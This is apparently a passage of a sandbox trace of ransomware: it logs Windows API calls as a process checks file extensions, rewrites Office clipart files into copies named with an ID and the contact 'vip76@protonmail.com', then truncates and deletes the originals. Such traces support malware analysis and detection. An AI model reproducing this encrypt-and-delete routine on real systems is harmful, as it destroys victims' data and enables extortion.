	[0074.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.687] lstrlenW (lpString=".doc") returned 4
	[0074.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString=".docx") returned 5
	[0074.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.687] lstrlenW (lpString=".pdf") returned 4
	[0074.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString=".xls") returned 4
	[0074.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.687] lstrlenW (lpString=".xlsx") returned 5
	[0074.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.687] lstrlenW (lpString=".ppt") returned 4
	[0074.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.687] lstrlenW (lpString=".zip") returned 4
	[0074.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.687] lstrlenW (lpString=".rar") returned 4
	[0074.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString=".bz2") returned 4
	[0074.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString=".7z") returned 3
	[0074.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.688] lstrlenW (lpString=".dbf") returned 4
	[0074.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.688] lstrlenW (lpString=".1cd") returned 4
	[0074.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.688] lstrlenW (lpString=".jpg") returned 4
	[0074.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.688] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.688] lstrlenW (lpString="BL00261_.WMF") returned 12
	[0074.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0074.691] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=12482) returned 1
	[0074.691] CloseHandle (hObject=0x394) returned 1
	[0074.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220
	[0074.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0074.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.772] GetLastError () returned 0x0
	[0074.772] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0074.785] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0074.787] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.787] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.787] SetEndOfFile (hFile=0x358) returned 1
	[0074.787] CloseHandle (hObject=0x358) returned 1
	[0074.788] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.788] SetEndOfFile (hFile=0x38c) returned 1
	[0074.789] CloseHandle (hObject=0x38c) returned 1
	[0074.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1
	[0074.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.790] lstrlenW (lpString=".doc") returned 4
	[0074.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.790] lstrlenW (lpString=".docx") returned 5
	[0074.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.791] lstrlenW (lpString=".pdf") returned 4
	[0074.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.791] lstrlenW (lpString=".xls") returned 4
	[0074.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.791] lstrlenW (lpString=".xlsx") returned 5
	[0074.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.791] lstrlenW (lpString=".ppt") returned 4
	[0074.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.791] lstrlenW (lpString=".zip") returned 4
	[0074.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.791] lstrlenW (lpString=".rar") returned 4
	[0074.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.791] lstrlenW (lpString=".bz2") returned 4
	[0074.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.791] lstrlenW (lpString=".7z") returned 3
	[0074.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.791] lstrlenW (lpString=".dbf") returned 4
	[0074.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.791] lstrlenW (lpString=".1cd") returned 4
	[0074.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.791] lstrlenW (lpString=".jpg") returned 4
	[0074.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.792] lstrlenW (lpString=".doc") returned 4
	[0074.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.792] lstrlenW (lpString=".docx") returned 5
	[0074.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.792] lstrlenW (lpString=".pdf") returned 4
	[0074.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.792] lstrlenW (lpString=".xls") returned 4
	[0074.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.792] lstrlenW (lpString=".xlsx") returned 5
	[0074.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.792] lstrlenW (lpString=".ppt") returned 4
	[0074.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.792] lstrlenW (lpString=".zip") returned 4
	[0074.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.792] lstrlenW (lpString=".rar") returned 4
	[0074.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.792] lstrlenW (lpString=".bz2") returned 4
	[0074.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.792] lstrlenW (lpString=".7z") returned 3
	[0074.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.792] lstrlenW (lpString=".dbf") returned 4
	[0074.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.793] lstrlenW (lpString=".1cd") returned 4
	[0074.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0074.793] lstrlenW (lpString=".jpg") returned 4
	[0074.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.793] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.793] lstrlenW (lpString="BL00274_.WMF") returned 12
	[0074.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0074.793] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4164) returned 1
	[0074.793] CloseHandle (hObject=0x38c) returned 1
	[0074.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220
	[0074.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0074.794] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.794] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.794] GetLastError () returned 0x0
	[0074.794] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1044, lpOverlapped=0x0) returned 1
	[0074.796] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1050, lpOverlapped=0x0) returned 1
	[0074.798] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.798] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.798] SetEndOfFile (hFile=0x358) returned 1
	[0074.798] CloseHandle (hObject=0x358) returned 1
	[0074.799] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.799] SetEndOfFile (hFile=0x38c) returned 1
	[0074.800] CloseHandle (hObject=0x38c) returned 1
	[0074.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1
	[0074.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.801] lstrlenW (lpString=".doc") returned 4
	[0074.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.801] lstrlenW (lpString=".docx") returned 5
	[0074.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.801] lstrlenW (lpString=".pdf") returned 4
	[0074.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.801] lstrlenW (lpString=".xls") returned 4
	[0074.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.801] lstrlenW (lpString=".xlsx") returned 5
	[0074.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.801] lstrlenW (lpString=".ppt") returned 4
	[0074.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.801] lstrlenW (lpString=".zip") returned 4
	[0074.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.801] lstrlenW (lpString=".rar") returned 4
	[0074.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.801] lstrlenW (lpString=".bz2") returned 4
	[0074.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.801] lstrlenW (lpString=".7z") returned 3
	[0074.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.801] lstrlenW (lpString=".dbf") returned 4
	[0074.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.802] lstrlenW (lpString=".1cd") returned 4
	[0074.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.802] lstrlenW (lpString=".jpg") returned 4
	[0074.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.802] lstrlenW (lpString=".doc") returned 4
	[0074.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.802] lstrlenW (lpString=".docx") returned 5
	[0074.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.802] lstrlenW (lpString=".pdf") returned 4
	[0074.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.802] lstrlenW (lpString=".xls") returned 4
	[0074.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.802] lstrlenW (lpString=".xlsx") returned 5
	[0074.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.802] lstrlenW (lpString=".ppt") returned 4
	[0074.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.802] lstrlenW (lpString=".zip") returned 4
	[0074.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.802] lstrlenW (lpString=".rar") returned 4
	[0074.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.803] lstrlenW (lpString=".bz2") returned 4
	[0074.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.803] lstrlenW (lpString=".7z") returned 3
	[0074.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.803] lstrlenW (lpString=".dbf") returned 4
	[0074.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.803] lstrlenW (lpString=".1cd") returned 4
	[0074.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0074.803] lstrlenW (lpString=".jpg") returned 4
	[0074.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.803] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.803] lstrlenW (lpString="BL00296_.WMF") returned 12
	[0074.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0074.804] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=812) returned 1
	[0074.804] CloseHandle (hObject=0x38c) returned 1
	[0074.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220
	[0074.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0074.804] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.804] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.805] GetLastError () returned 0x0
	[0074.805] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x32c, lpOverlapped=0x0) returned 1
	[0075.073] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x330, lpOverlapped=0x0) returned 1
	[0075.075] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.075] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.075] SetEndOfFile (hFile=0x358) returned 1
	[0075.722] CloseHandle (hObject=0x358) returned 1
	[0075.734] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.734] SetEndOfFile (hFile=0x38c) returned 1
	[0075.735] CloseHandle (hObject=0x38c) returned 1
	[0075.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1
	[0075.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.736] lstrlenW (lpString=".doc") returned 4
	[0075.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.736] lstrlenW (lpString=".docx") returned 5
	[0075.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.736] lstrlenW (lpString=".pdf") returned 4
	[0075.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.736] lstrlenW (lpString=".xls") returned 4
	[0075.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.736] lstrlenW (lpString=".xlsx") returned 5
	[0075.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.737] lstrlenW (lpString=".ppt") returned 4
	[0075.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.737] lstrlenW (lpString=".zip") returned 4
	[0075.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.737] lstrlenW (lpString=".rar") returned 4
	[0075.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString=".bz2") returned 4
	[0075.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString=".7z") returned 3
	[0075.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.737] lstrlenW (lpString=".dbf") returned 4
	[0075.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.737] lstrlenW (lpString=".1cd") returned 4
	[0075.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.737] lstrlenW (lpString=".jpg") returned 4
	[0075.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
